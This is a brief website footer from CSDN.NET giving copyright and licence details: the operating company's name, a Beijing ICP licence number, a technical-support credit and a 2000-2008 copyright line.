北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo